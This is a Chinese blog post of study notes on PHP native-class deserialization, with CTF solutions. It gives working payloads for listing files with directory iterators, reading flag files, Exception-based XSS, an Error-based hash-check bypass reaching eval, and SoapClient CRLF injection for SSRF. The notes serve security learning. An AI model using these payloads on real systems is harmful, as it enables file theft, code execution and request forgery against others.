php原生类反序列化

PHP原生类反序列化

网上的一篇文章:

https://www.anquanke.com/post/id/264823

根据上面那个来具体的学习一下

分类:

1.读取目录/文件(内容)

读取文件目录/文件名字的有两个类

1.DirectoryIterator 2.FilesystemIterator

其中FilesystemIterator是一个子类

它两个下面都有_toString魔术方法 通过触发这个魔术方法,利用glob:///进行一个读取

下面看一下具体的例子,并看一下两者的区别

DirectoryIterator

((PHP 5, PHP 7, PHP 8))

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$dir=$_GET['c'];
$a=new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

这个读取的是当前目录下的文件名字,并不会显示上一层的名字

image-20230624172914303

FilesystemIterator

((PHP 5 >= 5.3.0, PHP 7, PHP 8))

1
2
3
4
5
6
7
8
<?php
highlight_file(__file__);
$dir = $_GET['c'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

image-20230624173320866

这个会显示你上一级的名字

这两个类同样也有一句话形式payload:

DirectoryIterator:

1
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

FilesystemIterator:

1
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

下面看一下ctfshow的web74

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

这个当中由于error_reporting(0);
ini_set('display_errors', 0);

这两行代码禁用了php错误报告,并且禁止在浏览器中显示错误信息,这意味着,没法看到执行结果

所以可以用到glod:///来进行一个读取文件名

1
c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();

然后就可以看到文件名,最后文件包含你想要的文件即可

1
c=include('/flag.txt');exit();

假设flag.txt是在根目录的

GlobIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

这个是FilesystemIterator的子类 然后也可以去读取文件名 但是它的行为和glob()差不多,所以在传参的时候就不需要用glob伪协议了

下面是这个代码:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$dir=$_GET['c'];
$a=new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

结果如下图所示:
image-20230624201553453

也是绝对路径

下面就是读取文件内容的类了

SPIFileInfo

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SPIFileInfo类为单个文件的信息提供了高级的面向对象接口

1
2
3
4
5
<?php
highlight_file(__file__);
$context = new SplFileObject('flag.txt');
echo $context;
?>

结果如下图所示:
image-20230624210000481

如果出现以下类似的代码:

1
2
3
4
5
public function __destruct()
{
echo new $this->class($this->data);
}
这个class就是那些类,然后data就是那些命令

2.构造xss

有两个类

1.Error 2.Exception

这两个类当中都有_toString这两个魔术方法

1.Error(在php7,8开启的时候开启报错) Error 是所有PHP内部错误类的基类。

2.Exception(在php5,7,8开启的时候开启报错) Exception是所有用户级异常的基类。

通过echo(不只是echo 当对象被当成字符串时就能触发)来触发toString 进一步构造xss

通过官方文档可以看到这两个类的属性都一样

image-20230628154427087

image-20230628154442643

下面可以演示一下进行xss构造

先写一个经过反序列化后的代码

1
2
3
4
5
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>

这里的echo是触发的关键

然后下面是构造xss

1
2
3
4
5
<?php
$a = new Exception("<script>alert('U_F1ind_Me')</script>");
$b = serialize($a);
echo urlencode($b);
?>

因为有不可见字符,所以要url编码一下

需要注意的就是只有Exception才能在php5进行一个xss

Error只有在7或8下进行一个xss

3.绕过哈希比较

这个是利用了Error的报错信息

可以用一些代码来说明一下:

1
2
3
4
5
6
7
8
9
<?php
$a = new Error("payload",1);$b=new Error("payload",2);
var_dump($a===$b);
echo '<br>';
echo $a;
echo '<br>';
echo $b;
echo '<br>';
?>

这个的运行结果是:
image-20230628195433399

两个new Error的类都在同一行 报错信息也是同一行,虽然两个的内容不一样 但是报错信息一样 这样在面对一些哈希比较的时候就可以进行绕过

下面来一个题目看看:

[极客大挑战 2020]Greatphp

进入后查看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

然后我们要做的就是执行eval命令

这个前提就是 if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ) 先满足这个if语句 这个我们之前做的MD5碰撞就不能用了 可以用Error报错信息进行一个哈希绕过

就是让两个Error语句在同一行 然后和之前的没什么区别了

这个有一个正则匹配 过滤了小括号和双引号 我们用取反进行一个绕过

$str="?><?=include~".urldecode("%D0%99%93%9E%98")."?>";

主要的就是上面的那个

最终构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$str="?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$c=new SYCLOVER();
$a=new Error($str,1);$b=new Error($str,2);
$c->syc=$a;
$c->lover=$b;
echo urlencode(serialize($c));
?>

4.SSRF

这个和SoapClient这个类有关

这个类里面有一个call魔术方法 当调用不存在的方法时被调用

注意要开启soap选项 否则不会监听成功

PHP的内置类SoaPClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问web服务的php客户端。

函数的形式如下:

1
public SoapClient :: SoapClient(mixed $wsdl [array $options ])

第一个参数为指明是否为wsdl模式,为null则为非wsdl模式

wsdl就是一个xml格式的文档,用于描述web server的定义

第二个参数为array,wsdl模式下可选;非wsdl模式下,需要设置location和uri,location就是发送的soap服务器的url,uri是服务的命名空间

下面可以看一下:

1
2
3
4
5
6
7
8
<?php
$target = 'http://192.168.122.136:2022/';
$a=new SoapClient(null,array('location'=>$target,'user_agent'=>"qaq\r\nCookie: PHPSESSID=wangluoanquanqaq1213",'uri'=>'test'));
$b=serialize($a);
echo $b;
$c=unserialize($b);
$c->a();
?>

image-20230629151043313

这个soapaction的内容是我们可以控制的

其实也就是uri的内容

然后这里的话可以与CRLF进行一个结合 进行CRLF攻击(就是利用了\r\n)

可以参考这篇文章:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

可以结合CRLF进行xss => HRS

这个SoapCliet原生类我感觉就是结合CRLF进行一个http的一些修改

可以举一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://192.168.122.136:2022/';
$post_data = 'data=ki10Moc'; //这个就是一个post传参 data为参数 里面的内容为值
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=8asIKRJGI2493324gfsjkk958'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'Happy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'ki10Moc'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a();
?>

上面的代码修改了Xff头 cookie的值以及UA头的内容


php原生类反序列化
http://example.com/2023/11/15/php原生类/
作者
FSRM
发布于
2023年11月15日
更新于
2023年11月15日
许可协议